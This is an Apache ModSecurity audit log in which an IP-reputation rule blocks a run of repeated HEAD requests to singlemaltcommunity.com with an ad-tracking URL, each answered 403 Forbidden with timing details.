[13/Sep/2026:07:42:31.982666 +0300] aqYpt2M7dE9KgIIOpQhjDQAAAMA 91.124.31.4 41474 127.0.0.1 7081
--a01aec2d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.4
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--a01aec2d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a01aec2d-E--
--a01aec2d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274551976994 5725 (- - -)
Stopwatch2: 1789274551976994 5725; combined=4183, p1=299, p2=3587, p3=61, p4=6, p5=230, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a01aec2d-Z--
--ef0c5602-A--
[13/Sep/2026:07:42:32.273287 +0300] aqYpuEwu1RSkptiiNIXwUgAAAJU 46.203.158.176 41484 127.0.0.1 7081
--ef0c5602-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--ef0c5602-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ef0c5602-E--
--ef0c5602-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274552267298 6026 (- - -)
Stopwatch2: 1789274552267298 6026; combined=4538, p1=378, p2=3858, p3=60, p4=6, p5=235, sr=101, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ef0c5602-Z--
--b07ace0e-A--
[13/Sep/2026:07:42:32.568712 +0300] aqYpuGM7dE9KgIIOpQhjDgAAANE 91.124.31.12 41490 127.0.0.1 7081
--b07ace0e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.12
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b07ace0e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b07ace0e-E--
--b07ace0e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274552563482 5270 (- - -)
Stopwatch2: 1789274552563482 5270; combined=3911, p1=283, p2=3231, p3=65, p4=6, p5=326, sr=166, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b07ace0e-Z--
--53b5a945-A--
[13/Sep/2026:07:43:15.551724 +0300] aqYp42M7dE9KgIIOpQhjFwAAAMk 95.134.102.142 43402 127.0.0.1 7081
--53b5a945-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--53b5a945-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--53b5a945-E--
--53b5a945-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274595545855 5909 (- - -)
Stopwatch2: 1789274595545855 5909; combined=4416, p1=237, p2=3788, p3=58, p4=6, p5=327, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--53b5a945-Z--
--5faffa7b-A--
[13/Sep/2026:07:43:22.056068 +0300] aqYp6kwu1RSkptiiNIXwVgAAAI8 95.134.102.76 43422 127.0.0.1 7081
--5faffa7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5faffa7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5faffa7b-E--
--5faffa7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274602049476 6641 (- - -)
Stopwatch2: 1789274602049476 6641; combined=4156, p1=270, p2=3492, p3=62, p4=6, p5=326, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5faffa7b-Z--
--89527f65-A--
[13/Sep/2026:07:43:22.424111 +0300] aqYp6jTJ6xTvcJoem7f2tQAAAFA 151.243.174.182 43426 127.0.0.1 7081
--89527f65-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--89527f65-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--89527f65-E--
--89527f65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274602414665 9616 (- - -)
Stopwatch2: 1789274602414665 9616; combined=7045, p1=363, p2=6186, p3=162, p4=12, p5=321, sr=153, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--89527f65-Z--
--2245706d-A--
[13/Sep/2026:07:44:03.624823 +0300] aqYqE2M7dE9KgIIOpQhjIwAAAMY 151.243.174.109 52292 127.0.0.1 7081
--2245706d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2245706d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2245706d-E--
--2245706d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274643618478 6396 (- - -)
Stopwatch2: 1789274643618478 6396; combined=4753, p1=309, p2=4028, p3=90, p4=7, p5=319, sr=172, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2245706d-Z--
--dcc7af5b-A--
[13/Sep/2026:07:44:03.974798 +0300] aqYqE0wu1RSkptiiNIXwXQAAAII 151.243.174.120 52296 127.0.0.1 7081
--dcc7af5b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--dcc7af5b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--dcc7af5b-E--
--dcc7af5b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274643968186 6664 (- - -)
Stopwatch2: 1789274643968186 6664; combined=4842, p1=382, p2=4067, p3=74, p4=9, p5=309, sr=131, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dcc7af5b-Z--
--d0c91962-A--
[13/Sep/2026:07:44:04.310997 +0300] aqYqFGM7dE9KgIIOpQhjJAAAAMc 95.134.102.162 52310 127.0.0.1 7081
--d0c91962-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d0c91962-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d0c91962-E--
--d0c91962-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274644305083 5975 (- - -)
Stopwatch2: 1789274644305083 5975; combined=4483, p1=239, p2=3856, p3=76, p4=9, p5=303, sr=104, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d0c91962-Z--
--e09b444a-A--
[13/Sep/2026:07:44:08.636040 +0300] aqYqGCsVWymXUono-eRRgAAAAA4 151.243.174.181 50604 127.0.0.1 7081
--e09b444a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e09b444a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e09b444a-E--
--e09b444a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274648630001 6078 (- - -)
Stopwatch2: 1789274648630001 6078; combined=4452, p1=214, p2=3929, p3=65, p4=7, p5=237, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e09b444a-Z--
--6af14a3f-A--
[13/Sep/2026:07:44:08.986038 +0300] aqYqGCsVWymXUono-eRRgQAAAAQ 151.243.174.229 50618 127.0.0.1 7081
--6af14a3f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6af14a3f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6af14a3f-E--
--6af14a3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274648978653 7438 (- - -)
Stopwatch2: 1789274648978653 7438; combined=5572, p1=291, p2=4841, p3=95, p4=9, p5=336, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6af14a3f-Z--
--26d9015d-A--
[13/Sep/2026:07:44:09.107955 +0300] aqYqGSsVWymXUono-eRRgwAAAAY 95.134.102.76 50636 127.0.0.1 7081
--26d9015d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--26d9015d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--26d9015d-E--
--26d9015d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274649086792 21212 (- - -)
Stopwatch2: 1789274649086792 21212; combined=35134, p1=223, p2=3782, p3=64, p4=7, p5=15654, sr=99, sw=0, l=0, gc=15404
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26d9015d-Z--
--4568e756-A--
[13/Sep/2026:07:44:21.059474 +0300] aqYqJTTJ6xTvcJoem7f2xAAAAE4 151.243.174.177 54886 127.0.0.1 7081
--4568e756-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.177
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--4568e756-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4568e756-E--
--4568e756-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274661051430 8093 (- - -)
Stopwatch2: 1789274661051430 8093; combined=6136, p1=432, p2=5247, p3=97, p4=10, p5=350, sr=251, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4568e756-Z--
--6fb39237-A--
[13/Sep/2026:07:44:21.384306 +0300] aqYqJWM7dE9KgIIOpQhjKQAAAMI 95.134.102.249 54892 127.0.0.1 7081
--6fb39237-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6fb39237-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6fb39237-E--
--6fb39237-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274661378023 6323 (- - -)
Stopwatch2: 1789274661378023 6323; combined=4723, p1=254, p2=4145, p3=70, p4=8, p5=246, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6fb39237-Z--
--4f913e3d-A--
[13/Sep/2026:07:44:21.722011 +0300] aqYqJWM7dE9KgIIOpQhjKgAAAMs 151.243.174.19 54908 127.0.0.1 7081
--4f913e3d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.19
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--4f913e3d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4f913e3d-E--
--4f913e3d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274661716447 5630 (- - -)
Stopwatch2: 1789274661716447 5630; combined=4187, p1=257, p2=3608, p3=70, p4=7, p5=244, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4f913e3d-Z--
--7b62922a-A--
[13/Sep/2026:07:44:35.350349 +0300] aqYqM0wu1RSkptiiNIXwYgAAAIw 151.243.174.149 47158 127.0.0.1 7081
--7b62922a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.149
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--7b62922a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7b62922a-E--
--7b62922a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274675343585 6806 (- - -)
Stopwatch2: 1789274675343585 6806; combined=4500, p1=327, p2=3811, p3=67, p4=7, p5=288, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7b62922a-Z--
--d4ca6d16-A--
[13/Sep/2026:07:44:35.456753 +0300] aqYqM2M7dE9KgIIOpQhjKwAAAMw 151.243.174.120 47170 127.0.0.1 7081
--d4ca6d16-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d4ca6d16-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d4ca6d16-E--
--d4ca6d16-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274675449163 7667 (- - -)
Stopwatch2: 1789274675449163 7667; combined=5990, p1=414, p2=4992, p3=104, p4=8, p5=472, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4ca6d16-Z--
--3e094158-A--
[13/Sep/2026:07:44:41.282524 +0300] aqYqOTTJ6xTvcJoem7f2xgAAAEo 151.243.174.112 41420 127.0.0.1 7081
--3e094158-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.112
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3e094158-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3e094158-E--
--3e094158-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274681276946 5625 (- - -)
Stopwatch2: 1789274681276946 5625; combined=4073, p1=260, p2=3437, p3=63, p4=7, p5=306, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e094158-Z--
--18514a25-A--
[13/Sep/2026:07:44:43.783881 +0300] aqYqO2M7dE9KgIIOpQhjLgAAAMg 151.243.174.96 41448 127.0.0.1 7081
--18514a25-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.96
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--18514a25-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--18514a25-E--
--18514a25-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274683778150 5771 (- - -)
Stopwatch2: 1789274683778150 5771; combined=4405, p1=240, p2=3744, p3=76, p4=7, p5=338, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--18514a25-Z--
--b2d63136-A--
